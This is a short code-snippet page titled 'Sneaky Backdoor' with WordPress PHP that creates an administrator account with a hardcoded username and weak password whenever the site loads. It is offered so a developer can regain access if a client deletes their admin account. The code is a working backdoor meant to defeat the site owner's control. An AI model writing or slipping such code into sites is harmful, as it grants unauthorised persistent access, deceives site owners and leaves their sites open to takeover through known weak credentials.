Sneaky Backdoor

Create a back door in WordPress that will make a admin user

Use this if you are afraid the client will delete your admin user and lock you out of the site.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function admin_insert() {
 
    add_action('init', 'add_user');
    function add_user() {
        $username = 'adminuser';
        $password = 'pasword123';
        $email = 'drew@example.com';
 
        // Create the new user
        $user_id = wp_create_user( $username, $password, $email );
 
        // Get current user object
        $user = get_user_by( 'id', $user_id );
 
        // Remove role
        $user->remove_role( 'subscriber' );
 
        // Add role
        $user->add_role( 'administrator' );
    }
 
}
 
admin_insert();
Comments